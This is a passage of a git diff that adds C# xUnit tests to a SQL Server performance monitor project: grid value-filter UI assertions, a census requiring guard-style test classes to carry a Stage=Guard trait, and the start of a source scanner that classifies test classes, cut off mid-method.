+        var r = Run("keyboard");
+        Assert.Equal(new[] { "Search the values of Login", "Select All", "Values of Login" }, Strs(r.GetProperty("labels")));
+        Assert.True(r.GetProperty("closed").GetBoolean());
+        Assert.True(r.GetProperty("refocus").GetBoolean());
+    }
+
+    [Fact]
+    public void AChip_SaysHowManyValuesItHidesOrShows_BesideTheTextMatch()
+    {
+        var r = Run("chips");
+        Assert.Equal(new[] { "Login: hides 1 value×" }, Strs(r.GetProperty("one")));
+        Assert.Equal(new[] { "Login: hides 2 values×" }, Strs(r.GetProperty("two")));
+        Assert.Equal("true", r.GetProperty("pressed").GetString());
+        Assert.Equal(new[] { "Login: shows 2 values×" }, Strs(r.GetProperty("shows")));
+        Assert.Equal(new[] { "Login: shows 2 values, x×" }, Strs(r.GetProperty("both")));
+        Assert.Equal(new[] { 4 }, Ints(r.GetProperty("shownBoth")));
+        Assert.Equal("Showing 1 of 5 rows", r.GetProperty("countText").GetString());
+        Assert.Equal(new[] { 0, 1, 2, 3, 4 }, Ints(r.GetProperty("afterX")));
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("afterXStored").ValueKind);
+    }
+
+    [Fact]
+    public void AnOpenList_IsRelistedWhenTheRowsAreReconciledInPlace()
+    {
+        var r = Run("reconciled");
+        Assert.Equal(new[] { "app", "sa" }, Strs(r.GetProperty("before")));
+        Assert.Equal(new[] { "app", "zed" }, Strs(r.GetProperty("after")));
+    }
+
+    [Fact]
+    public void TheFilter_SurvivesARefreshATabSwitchAndARestart_AndClearAllForgetsIt()
+    {
+        var r = Run("kept");
+        var column = r.GetProperty("stored").GetProperty("grids")[0][1].EnumerateObject().Single().Value;
+        Assert.Equal("hide", column.GetProperty("values").GetProperty("mode").GetString());
+        Assert.Equal(new[] { "job_svc" }, Strs(column.GetProperty("values").GetProperty("set")));
+        Assert.Equal(new[] { 0, 1, 3, 4 }, Ints(r.GetProperty("afterRefresh")));
+        Assert.Equal(new[] { 0, 1, 2, 3 }, Ints(r.GetProperty("otherTab")));
+        Assert.Equal(new[] { 0, 1, 3 }, Ints(r.GetProperty("backOnTab")));
+        Assert.Equal(new[] { 0, 1, 3 }, Ints(r.GetProperty("afterRestart")));
+        Assert.Equal(new[] { "Login: hides 1 value×" }, Strs(r.GetProperty("restartChip")));
+        Assert.Equal("true", r.GetProperty("restartButtonOn").GetString());
+        Assert.Equal(
+            new[] { ("(Blanks)", true), ("app", true), ("job_svc", false), ("sa", true) },
+            r.GetProperty("restartTicks").EnumerateArray().Select(t => (t[0].GetString()!, t[1].GetBoolean())).ToArray());
+        Assert.Equal(new[] { 0, 1, 2, 3 }, Ints(r.GetProperty("afterClearAll")));
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("storedAfterClearAll").ValueKind);
+        Assert.False(r.GetProperty("keyAfterClearAll").GetBoolean());
+        Assert.Equal(new[] { 0, 1, 2, 3 }, Ints(r.GetProperty("restartAfterClearAll")));
+    }
+
+    [Fact]
+    public void AStoreThatIsBadOrRefused_NeverStopsAGridDrawing()
+    {
+        var r = Run("keptBad");
+        Assert.All(r.GetProperty("drawn").EnumerateArray(), n => Assert.Equal(2, n.GetInt32()));
+        Assert.Equal(7, r.GetProperty("drawn").GetArrayLength());
+        Assert.Equal(new[] { 0 }, Ints(r.GetProperty("refusedShown")));
+        Assert.Equal(1, r.GetProperty("warnings").GetInt32());
+        Assert.Equal(new[] { 0, 1 }, Ints(r.GetProperty("noStorageShown")));
+    }
+
+    [Fact]
+    public void TheKeptCopy_IsBounded()
+    {
+        var r = Run("keptBounds");
+        Assert.Equal(200, r.GetProperty("gridCount").GetInt32());
+        Assert.Equal("#/server/a/g51|VF|k", r.GetProperty("firstKept").GetString());
+        Assert.True(r.GetProperty("lastKept").GetBoolean());
+        // 1,111 ticked values still filter the page, but are not kept (a cut set would show the wrong rows).
+        Assert.Equal(1111, r.GetProperty("bigShown").GetInt32());
+        Assert.Equal(0, r.GetProperty("bigStored").GetProperty("grids").GetArrayLength());
+        Assert.Equal(new[] { "Login: shows 1111 values×" }, Strs(r.GetProperty("bigChip")));
+        // A stored set over 1,000 values is refused on the way in.
+        Assert.Equal(2, r.GetProperty("refusedLong").GetInt32());
+    }
+}
diff --git a/Darling/Darling.Tests/GuardStageCensusTests.cs b/Darling/Darling.Tests/GuardStageCensusTests.cs
new file mode 100644
index 0000000000..ebfa8c7f0b
--- /dev/null
+++ b/Darling/Darling.Tests/GuardStageCensusTests.cs
@@ -0,0 +1,326 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Every Darling.Tests class that is a guard carries <c>[Trait("Stage", "Guard")]</c>, or is on the exemption
+/// list below with a reason (#5459).
+///
+/// <para><b>Why the trait exists.</b> build.yml's <c>guard-tests</c> job is the first thing a pull request runs.
+/// It runs only the tagged classes, in both test suites, so a source pin, a census or a hygiene scan fails in
+/// about ten minutes and every shard is skipped, instead of the failure arriving after the whole run. An untagged
+/// guard class loses that fast failure and nothing else (the shards still run it), which nobody would notice, so
+/// the requirement is derived from the source and this class fails and names the class.</para>
+///
+/// <para><b>The rules.</b> R1: a class whose name ends in Hygiene, Census, Convention, Adoption, Ratchet, Guard,
+/// SourcePin, Pin(s), Drift or Inventory plus <c>Tests</c> carries the trait or is exempt. R2: a class that
+/// enumerates the repo root recursively carries it or is exempt. R3: no tagged class is in the
+/// <c>live-postgres</c> collection, reads a <c>DARLING_TEST_</c> variable, or refers to a helper that does,
+/// because the guard job has no PostgreSQL and every tagged class runs there. The exemption list is the one place
+/// a class that is guard-style and cannot be tagged is named; its size is pinned and may only shrink.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class GuardStageCensusTests
+{
+    /// <summary>The classes that are guard-style and stay untagged, each with the reason. Shrinks only.</summary>
+    private static readonly Dictionary<string, string> s_exempt = new(StringComparer.Ordinal)
+    {
+        ["AlertDeliveryChannelTests"] = "R2 only: it walks the repo for a source check but also holds tests that reach the shared store through a helper (R3).",
+        ["DarlingEmptyEnumerationInventoryTests"] = "R3: live-postgres collection and reads DARLING_TEST_PG; a store run only.",
+        ["DarlingOwnedSecretsCensusTests"] = "R3: sets and reads its own DARLING_TEST_OIDC_SECRET_OWNEDSET variable; the shards keep it.",
+        ["DarlingPgRuntimeVersionPinTests"] = "R3: gated on DARLING_TEST_PGRUNTIME, which only the darling-pg job sets.",
+        ["StoreApplicationNamePinTests"] = "R3: reads DARLING_TEST_PG to create its own scratch database.",
+        ["WebExceptionTextCensusTests"] = "R3: live-postgres collection and reads DARLING_TEST_PG; a store run only.",
+    };
+
+    /// <summary>The size of the list above. A new entry is a deliberate edit of this number and a reason.</summary>
+    private const int ExemptionCeiling = 6;
+
+    /// <summary>Anti-vacuity: the suite tags well over this many classes, so a scan that stopped seeing them fails.</summary>
+    private const int TaggedFloor = 50;
+
+    [Fact]
+    public void TheDetector_SeesTheTraitTheCollectionAndARepoRootWalk()
+    {
+        const string text = "namespace Darling.Tests;\n\n"
+          + "[Trait(\"Stage\", \"Guard\")]\npublic sealed class AdoptionTests\n{\n    [Fact]\n    public void A() { }\n}\n\n"
+          + "[Collection(\"live-postgres\")]\npublic sealed class LiveThingTests\n{\n    [Fact]\n    public void B() { }\n}\n\n"
+          + "public sealed class WholeTreeScanTests\n{\n    [Fact]\n    public void C()\n    {\n"
+          + "        var root = RepoRoot();\n"
+          + "        var all = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories);\n    }\n}\n";
+
+        var rows = GuardStageScanner.ScanText(text).ToDictionary(r => r.Name);
+
+        Assert.True(rows["AdoptionTests"].Tagged);
+        Assert.False(rows["AdoptionTests"].LiveCollection);
+        Assert.True(rows["LiveThingTests"].LiveCollection);
+        Assert.False(rows["LiveThingTests"].Tagged);
+        Assert.True(rows["WholeTreeScanTests"].EnumeratesRepoRoot);
+        Assert.False(rows["WholeTreeScanTests"].Tagged);
+    }
+
+    [Fact]
+    public void TheDetector_IgnoresANarrowerEnumerationAndProse()
+    {
+        Assert.True(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var f = Directory.GetFiles(ParitySource.RepoRoot(), \"*.csproj\", SearchOption.AllDirectories);"));
+        Assert.True(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "string root = RepoRootOrFail();\nvar o = new EnumerationOptions { RecurseSubdirectories = true };\n"
+          + "var f = Directory.EnumerateFiles(root, \"*.props\", o);"));
+
+        Assert.False(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(Path.Combine(root, \"Lite\"), \"*.cs\", SearchOption.AllDirectories);"));
+        Assert.False(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.TopDirectoryOnly);"));
+        Assert.False(GuardStageScanner.EnumeratesRepoRootRecursively(
+            "var root = RepoRoot();\n// Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories)\nvar a = 1;"));
+    }
+
+    [Fact]
+    public void TheCensus_FlagsAnUntaggedCandidateATaggedStoreClassAndAStaleExemption()
+    {
+        var rows = new List<GuardStageScanner.Row>
+        {
+            new("SomeCensusTests", "a.cs", true, false, false, false, false, false),
+            new("LiveDriftTests", "b.cs", true, true, true, false, false, false),
+            new("PlainTests", "c.cs", true, false, false, false, false, false),
+            new("GoneInventoryTests", "d.cs", true, true, false, false, false, false),
+        };
+
+        var problems = GuardStageScanner.Problems(
+            rows,
+            new Dictionary<string, string>
+            {
+                ["GoneInventoryTests"] = "now tagged",
+                ["NoSuchPinTests"] = "deleted",
+                ["PlainTests"] = "",
+            });
+
+        Assert.Contains(problems, p => p.StartsWith("MISSING", StringComparison.Ordinal) && p.Contains("SomeCensusTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STORE", StringComparison.Ordinal) && p.Contains("LiveDriftTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STALE", StringComparison.Ordinal) && p.Contains("GoneInventoryTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STALE", StringComparison.Ordinal) && p.Contains("NoSuchPinTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("REASON", StringComparison.Ordinal) && p.Contains("PlainTests", StringComparison.Ordinal));
+        Assert.Equal(5, problems.Count);
+    }
+
+    [Fact]
+    public void EveryGuardClass_CarriesTheStageGuardTrait_OrIsExempt_AndNoTaggedClassNeedsAStore()
+    {
+        var rows = GuardStageScanner.Scan(TestsRoot(), ProjectFile());
+
+        var problems = GuardStageScanner.Problems(rows, s_exempt);
+
+        Assert.True(
+            problems.Count == 0,
+            $"The Darling.Tests guard-stage tagging is wrong. Add {GuardStageScanner.GuardTraitText} directly above each "
+          + "MISSING class (build.yml's guard-tests job then runs it first), or, when the class needs a store, list it in "
+          + "GuardStageCensusTests.s_exempt with the reason:\n  " + string.Join("\n  ", problems));
+
+        var tagged = rows.Count(r => r.Tagged);
+        Assert.True(
+            tagged >= TaggedFloor,
+            $"only {tagged} Darling.Tests classes carry {GuardStageScanner.GuardTraitText}; the scan has stopped seeing them");
+        Assert.True(
+            rows.Count(r => r.EnumeratesRepoRoot) >= 10,
+            "fewer than 10 Darling.Tests classes were found enumerating the repo root; the scan has stopped seeing them");
+    }
+
+    [Fact]
+    public void TheTaggedSet_IsTheSetXunitSelects_AndRuleR3HoldsOverIt()
+    {
+        var rows = GuardStageScanner.Scan(TestsRoot(), ProjectFile());
+        var reflected = GuardStageScanner.ReflectGuardClasses(typeof(GuardStageCensusTests).Assembly);
+
+        var problems = GuardStageScanner.ReflectionProblems(rows, reflected);
+
+        Assert.True(
+            problems.Count == 0,
+            "The source scan and xunit disagree about which Darling.Tests classes carry Stage=Guard, or a class xunit selects "
+          + "needs a store (the guard job has no PostgreSQL). Write the trait as the one attribute line above the class, or "
+          + "list the project's link in the csproj so the scan reads it:\n  " + string.Join("\n  ", problems));
+
+        Assert.True(
+            reflected.Count >= TaggedFloor,
+            $"xunit selects only {reflected.Count} Darling.Tests classes for Stage=Guard; the reflection has stopped seeing them");
+    }
+
+    [Fact]
+    public void TheReflectionCheck_FlagsADisagreementAPhantomAndAStoreClass()
+    {
+        var rows = new List<GuardStageScanner.Row>
+        {
+            new("SeenTests", "a.cs", true, true, false, false, false, false),
+            new("MethodTaggedTests", "b.cs", true, false, false, false, false, false),
+            new("MethodTaggedLiveTests", "c.cs", true, false, false, false, true, false),
+            new("PhantomTests", "d.cs", true, true, false, false, false, false),
+        };
+        var reflected = new List<GuardStageScanner.ReflectedClass>
+        {
+            new("SeenTests", false),
+            new("MethodTaggedTests", false),
+            new("MethodTaggedLiveTests", false),
+            new("LinkedTests", false),
+            new("CollectionTests", true),
+        };
+
+        var problems = GuardStageScanner.ReflectionProblems(rows, reflected);
+
+        Assert.Contains(problems, p => p.StartsWith("UNTAGGED", StringComparison.Ordinal) && p.Contains("MethodTaggedTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("UNTAGGED", StringComparison.Ordinal) && p.Contains("MethodTaggedLiveTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("UNSCANNED", StringComparison.Ordinal) && p.Contains("LinkedTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("UNSCANNED", StringComparison.Ordinal) && p.Contains("CollectionTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("PHANTOM", StringComparison.Ordinal) && p.Contains("PhantomTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STORE", StringComparison.Ordinal) && p.Contains("MethodTaggedLiveTests", StringComparison.Ordinal));
+        Assert.Contains(problems, p => p.StartsWith("STORE", StringComparison.Ordinal) && p.Contains("CollectionTests", StringComparison.Ordinal));
+        Assert.DoesNotContain(problems, p => p.Contains("SeenTests", StringComparison.Ordinal) && !p.Contains("MethodTagged", StringComparison.Ordinal));
+        Assert.Equal(7, problems.Count);
+    }
+
+    /* The probes below are private nested classes, which xunit does not run and the assembly-wide reflection skips.
+       Their traits are spelled with constants so the source scan does not read them as tagged (it would otherwise
+       report them as phantoms): the very spelling the reflection exists to see. */
+    private const string ProbeStage = "Stage";
+    private const string ProbeGuard = "Guard";
+    private const string ProbeLive = "live-postgres";
+
+    private sealed class ProbeTestAttribute : Attribute
+    {
+    }
+
+    [Trait(ProbeStage, ProbeGuard)]
+    private sealed class ProbeClassTagged
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbeMethodTagged
+    {
+        [ProbeTest, Trait(ProbeStage, ProbeGuard)]
+        public void Probe()
+        {
+        }
+    }
+
+    [Collection(ProbeLive), Trait(ProbeStage, ProbeGuard)]
+    private sealed class ProbeLiveTagged
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbeUntagged
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    [Trait(ProbeStage, ProbeGuard)]
+    private abstract class ProbeTaggedBase
+    {
+        [ProbeTest]
+        public void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbeInheritsTag : ProbeTaggedBase
+    {
+    }
+
+    /* xunit v3 runs static and non-public test methods and static classes (L1 of #5471's second review), so the
+       reflection has to see a trait on each of them as well. */
+    private sealed class ProbeStaticMethodTagged
+    {
+        [ProbeTest, Trait(ProbeStage, ProbeGuard)]
+        public static void Probe()
+        {
+        }
+    }
+
+    private sealed class ProbePrivateMethodTagged
+    {
+        [ProbeTest, Trait(ProbeStage, ProbeGuard)]
+#pragma warning disable IDE0051, CA1822
+        private void Probe()
+#pragma warning restore IDE0051, CA1822
+        {
+        }
+    }
+
+    [Trait(ProbeStage, ProbeGuard)]
+    private static class ProbeStaticClassTagged
+    {
+        [ProbeTest]
+        public static void Probe()
+        {
+        }
+    }
+
+    private static bool IsProbeTest(System.Reflection.MethodInfo m) => m.IsDefined(typeof(ProbeTestAttribute), inherit: true);
+
+    [Fact]
+    public void TheReflection_SeesAClassTraitAMethodTraitAConstantAnInheritedTraitAndALiveCollection()
+    {
+        var probes = typeof(GuardStageCensusTests).GetNestedTypes(System.Reflection.BindingFlags.NonPublic)
+            .Where(t => t.Name.StartsWith("Probe", StringComparison.Ordinal) && t.Name != nameof(ProbeTestAttribute));
+
+        var reflected = GuardStageScanner.ReflectGuardClasses(probes, assemblyTagged: false, isTest: IsProbeTest).ToDictionary(r => r.Name);
+
+        Assert.True(reflected.ContainsKey(nameof(ProbeClassTagged)), "a class-level trait spelled with constants is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeMethodTagged)), "a method-level trait is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeInheritsTag)), "a trait inherited from a base class is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeLiveTagged)) && reflected[nameof(ProbeLiveTagged)].LiveCollection, "a live-postgres collection is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeStaticMethodTagged)), "a static test method with a method-level trait is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbePrivateMethodTagged)), "a non-public test method with a method-level trait is not seen");
+        Assert.True(reflected.ContainsKey(nameof(ProbeStaticClassTagged)), "a static class is not seen");
+        Assert.False(reflected.ContainsKey(nameof(ProbeUntagged)), "an untagged class was selected");
+        Assert.False(reflected.ContainsKey(nameof(ProbeTaggedBase)), "an abstract class was selected");
+        Assert.False(reflected[nameof(ProbeClassTagged)].LiveCollection);
+
+        Assert.Contains(
+            GuardStageScanner.ReflectGuardClasses(probes.Where(t => t.Name == nameof(ProbeUntagged)), assemblyTagged: true, isTest: IsProbeTest),
+            r => r.Name == nameof(ProbeUntagged));
+    }
+
+    [Fact]
+    public void TheLinkedFiles_AreReadFromTheCsprojItems()
+    {
+        var links = GuardStageScanner.LinkedCompileFiles(ProjectFile());
+
+        Assert.NotEmpty(links);
+        Assert.All(links, l => Assert.True(File.Exists(l.Path), $"the linked file {l.Link} does not exist at {l.Path}"));
+    }
+
+    [Fact]
+    public void TheExemptionList_HasItsPinnedSize()
+    {
+        Assert.Equal(ExemptionCeiling, s_exempt.Count);
+    }
+
+    private static string TestsRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetDirectoryName(thisFile)
+        ?? throw new InvalidOperationException("The caller file path has no directory.");
+
+    private static string ProjectFile() => Path.Combine(TestsRoot(), "Darling.Tests.csproj");
+}
diff --git a/Darling/Darling.Tests/GuardStageScanner.cs b/Darling/Darling.Tests/GuardStageScanner.cs
new file mode 100644
index 0000000000..57127fac3a
--- /dev/null
+++ b/Darling/Darling.Tests/GuardStageScanner.cs
@@ -0,0 +1,581 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Xml.Linq;
+using Xunit;
+using Xunit.v3;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What a test class IS, read off its source, for the guard-stage census of each test suite (#5459).
+///
+/// <para><b>Why a scanner.</b> build.yml's first job on a pull request is <c>guard-tests</c>: it runs only the
+/// classes carrying <c>[Trait("Stage", "Guard")]</c>, so a source pin, a census or a hygiene scan fails in about
+/// ten minutes instead of after every shard has run. A guard class that is not tagged loses that fast failure
+/// and nothing else, and nobody would notice, so the tagging is derived from the source the way
+/// <c>DarlingReadsTraitGuardTests</c> derives its trait: a class whose NAME says it is a guard, or that
+/// enumerates the whole repository, must carry the trait or be on a census exemption list.</para>
+///
+/// <para><b>Linked, not copied.</b> Lite.Tests compiles this file into its own assembly (the same arrangement as
+/// the source walker it builds on), so both suites ask the same questions of their own sources. Editing it
+/// therefore sends a pull request to the whole Lite suite, which build.yml's <c>lite_linked_shard</c> filter
+/// pins.</para>
+///
+/// <para><b>What is read.</b> Comments and string literals are ignored for every code question (the source
+/// walker blanks them); a string literal is read only for the one question that is ABOUT a literal, the name of
+/// an environment variable. A path assembled in a helper another class owns is not visible to a source scan, and
+/// that is the limit of the whole approach.</para>
+/// </summary>
+internal static class GuardStageScanner
+{
+    /// <summary>The attribute a guard class carries, as it is written in source.</summary>
+    internal const string GuardTraitText = "[Trait(\"Stage\", \"Guard\")]";
+
+    /// <summary>The attribute a class that reads a Lite file carries, as it is written in source (#5459 cut 3a).</summary>
+    internal const string LiteTraitText = "[Trait(\"Reads\", \"Lite\")]";
+
+    /// <summary>The name shapes the census treats as guard-style (ruling 2, R1).</summary>
+    internal static readonly Regex GuardStyleName = new(
+        @"(?:Hygiene|Census|Convention|Adoption|Ratchet|Guard|SourcePin|Pins?|Drift|Inventory)Tests$",
+        RegexOptions.CultureInvariant);
+
+    /* Indented as well as column 0, so a class inside a block namespace or nested in another class is seen. */
+    private static readonly Regex s_classDeclaration = new(
+        @"^[ \t]*(?:(?:public|internal|private|protected|sealed|static|abstract|partial)\s+)*class\s+(?<name>\w+)",
+        RegexOptions.Multiline | RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_enumerationCall = new(
+        @"\b(?:EnumerateFiles|EnumerateFileSystemEntries|EnumerateDirectories|GetFiles|GetFileSystemEntries|GetDirectories)\s*\(",
+        RegexOptions.CultureInvariant);
+
+    /* A call that answers the repo root: RepoRoot(), FindRepoRoot(), RepoRootOrFail(), ParitySource.RepoRoot(),
+       ResolveRoot(), FindRoot(), or the shared RepoFile.Root property (a class's own Root alias for it included). Every
+       test class that walks up from the build output spells it one of these. */
+    private static readonly Regex s_repoRootExpression = new(
+        @"^(?:\w+\.)*\w*(?:RepoRoot|FindRoot|ResolveRoot)\w*\(\s*\)$|^(?:RepoFile\.)?Root$", RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_testAttribute = new(@"\[(?:Fact|Theory)\b", RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_testVariable = new(@"^DARLING_TEST_\w+$", RegexOptions.CultureInvariant);
+
+    /// <summary>One test class, folded over every file its partial parts sit in.</summary>
+    internal sealed record Row(
+        string Name,
+        string File,
+        bool IsTest,
+        bool Tagged,
+        bool LiveCollection,
+        bool EnumeratesRepoRoot,
+        bool ReadsTestVariable,
+        bool UsesStoreHelper,
+        bool ReadsLite = false,
+        bool TaggedLite = false)
+    {
+        /// <summary>Whether the class is guard-style by name (R1).</summary>
+        internal bool GuardStyleByName => GuardStyleName.IsMatch(Name);
+
+        /// <summary>Whether the class is a guard candidate by either rule (R1 or R2).</summary>
+        internal bool Candidate => IsTest && (GuardStyleByName || EnumeratesRepoRoot);
+
+        /// <summary>Whether tagging the class would break rule R3: the guard job has no store.</summary>
+        internal bool NeedsAStore => LiveCollection || ReadsTestVariable || UsesStoreHelper;
+
+        /// <summary>The R3 reasons, in words, for a failure message or an exemption line.</summary>
+        internal string StoreReasons => string.Join(
+            "+",
+            new[]
+            {
+                LiveCollection ? "live-postgres-collection" : null,
+                ReadsTestVariable ? "reads-DARLING_TEST-variable" : null,
+                UsesStoreHelper ? "uses-a-store-helper" : null,
+            }.Where(r => r is not null));
+    }
+
+    private sealed record Decl(
+        string Name,
+        string File,
+        bool IsTest,
+        bool Tagged,
+        bool LiveCollection,
+        bool EnumeratesRepoRoot,
+        bool ReadsTestVariable,
+        string OwnCode,
+        bool ReadsLite,
+        bool TaggedLite);
+
+    /// <summary>
+    /// Every test class under <paramref name="testsRoot"/>, one row per class name. When <paramref name="projectFile"/>
+    /// is given, the files the project compiles in through a <c>Link</c> are read too: they sit outside the folder
+    /// and xunit runs their classes all the same (M1 of #5471's review).
+    /// </summary>
+    internal static IReadOnlyList<Row> Scan(string testsRoot, string? projectFile = null)
+    {
+        var files = Directory.EnumerateFiles(testsRoot, "*.cs", SearchOption.AllDirectories)
+            .Where(f => !IsBuildOutput(testsRoot, f))
+            .OrderBy(f => f, StringComparer.Ordinal)
+            .Select(f => (Path: f, Relative: Path.GetRelativePath(testsRoot, f).Replace('\\', '/')))
+            .ToList();
+
+        if (projectFile is not null)
+        {
+            var inFolder = new HashSet<string>(files.Select(f => Path.GetFullPath(f.Path)), StringComparer.OrdinalIgnoreCase);
+            files.AddRange(LinkedCompileFiles(projectFile)
+                .Where(l => inFolder.Add(Path.GetFullPath(l.Path)))
+                .Select(l => (l.Path, l.Link)));
+        }
+
+        var decls = new List<Decl>();
+        foreach (var file in files)
+        {
+            var text = File.ReadAllText(file.Path).Replace("\r\n", "\n", StringComparison.Ordinal);
+            decls.AddRange(Declarations(text, file.Relative));
+        }
+
+        /* A type that is not a test class but names a DARLING_TEST_ variable is a store helper, and so is a type
+           that refers to one: a test reaching the store through a helper never writes the variable itself. */
+        var helpers = new HashSet<string>(
+            decls.Where(d => !d.IsTest && d.ReadsTestVariable).Select(d => d.Name), StringComparer.Ordinal);
+        for (var grew = true; grew;)
+        {
+            grew = false;
+            foreach (var d in decls.Where(d => !d.IsTest && !helpers.Contains(d.Name)))
+            {
+                if (helpers.Any(h => Regex.IsMatch(d.OwnCode, @"\b" + Regex.Escape(h) + @"\b")))
+                {
+                    helpers.Add(d.Name);
+                    grew = true;
+                }
+            }
+        }
+
+        var rows = new List<Row>();
+        foreach (var group in decls.Where(d => d.IsTest).GroupBy(d => d.Name, StringComparer.Ordinal))
+        {
+            var usesHelper = group.Any(
+                d => helpers.Any(h => h != d.Name && Regex.IsMatch(d.OwnCode, @"\b" + Regex.Escape(h) + @"\b")));
+            rows.Add(new Row(
+                group.Key,
+                group.First().File,
+                IsTest: true,
+                Tagged: group.Any(d => d.Tagged),
+                LiveCollection: group.Any(d => d.LiveCollection),
+                EnumeratesRepoRoot: group.Any(d => d.EnumeratesRepoRoot),
+                ReadsTestVariable: group.Any(d => d.ReadsTestVariable),
+                UsesStoreHelper: usesHelper,
+                ReadsLite: group.Any(d => d.ReadsLite),
+                TaggedLite: group.Any(d => d.TaggedLite)));
+        }
+
+        return rows;
+    }
+
+    /// <summary>
+    /// What is wrong with the suite's tagging, one line per fault; empty when it is right. Rules R1 and R2: a
+    /// guard candidate carries the trait or is exempt. Rule R3: a tagged class needs no store. And an exemption
+    /// must still be one: it names a candidate that is untagged, with a reason.
+    /// </summary>
+    internal static List<string> Problems(IReadOnlyList<Row> rows, IReadOnlyDictionary<string, string> exempt)
+    {
+        var problems = new List<string>();
+        var byName = rows.ToDictionary(r => r.Name, StringComparer.Ordinal);
+
+        foreach (var r in rows.Where(r => r.Candidate && !r.Tagged && !exempt.ContainsKey(r.Name)).OrderBy(r => r.Name, StringComparer.Ordinal))
+        {
+            var why = r.GuardStyleByName ? "guard-style name" : "enumerates the repo root recursively";
+            problems.Add($"MISSING {r.File}: {r.Name} ({why}; store: {(r.NeedsAStore ? r.StoreReasons : "none")})");
+        }
+
+        foreach (var r in rows.Where(r => r.Tagged && r.NeedsAStore).OrderBy(r => r.Name, StringComparer.Ordinal))
+        {
+            problems.Add($"STORE {r.File}: {r.Name} is tagged Stage=Guard but {r.StoreReasons}; the guard job has no PostgreSQL");
+        }
+
+        foreach (var (name, reason) in exempt)
+        {
+            if (string.IsNullOrWhiteSpace(reason))
+            {
+                problems.Add($"REASON {name}: an exemption needs a reason");
+            }
+            else if (!byName.TryGetValue(name, out var row) || !row.Candidate)
+            {
+                problems.Add($"STALE {name}: is exempt but is not a guard candidate (renamed, deleted or no longer matches); drop the entry");
+            }
+            else if (row.Tagged)
+            {
+                problems.Add($"STALE {name}: is exempt but now carries the trait; drop the entry");
+            }
+        }
+
+        return problems;
+    }
+
+    /// <summary>The class declarations of one file (top-level, in a block namespace, or nested), each judged on
+    /// its OWN body: a nested class does not take its enclosing class's tests, trait or reads.</summary>
+    private static IEnumerable<Decl> Declarations(string text, string relativeFile)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        var found = new List<(string Name, int Index, int Open, int End)>();
+
+        foreach (Match m in s_classDeclaration.Matches(code))
+        {
+            var open = code.IndexOf('{', m.Index);
+            if (open < 0)
+            {
+                continue;
+            }
+
+            found.Add((m.Groups["name"].Value, m.Index, open, open + CSharpSourceWalker.BraceBalanced(code, open).Length));
+        }
+
+        if (found.Count == 0)
+        {
+            yield break;
+        }
+
+        var rootVariables = RepoRootVariables(code);
+        var recursiveOptions = Regex.IsMatch(code, @"RecurseSubdirectories\s*=\s*true", RegexOptions.CultureInvariant);
+        var literals = CSharpSourceWalker.StringLiteralBodies(text).ToList();
+        /* File-level, like Lite.Tests' Darling census: a helper class in the same file may hold the path a test
+           class in it reads, so every test class in a file that reads Lite needs the trait. */
+        var fileReadsLite = ReadsALitePath(text, code, rootVariables, recursiveOptions);
+
+        foreach (var d in found)
+        {
+            var own = new StringBuilder(code[d.Open..d.End]);
+            foreach (var nested in found.Where(n => n.Index > d.Open && n.End <= d.End))
+            {
+                for (var i = nested.Index - d.Open; i < nested.End - d.Open; i++)
+                {
+                    own[i] = ' ';
+                }
+            }
+
+            var ownCode = own.ToString();
+            var readsVariable = literals.Any(l =>
+                l.Start >= d.Open && l.Start < d.End
+                && !found.Any(n => n.Index > d.Open && n.End <= d.End && l.Start >= n.Open && l.Start < n.End)
+                && s_testVariable.IsMatch(l.Text.Trim()));
+
+            var attributes = AttributeLinesAbove(text, d.Index);
+
+            yield return new Decl(
+                d.Name,
+                relativeFile,
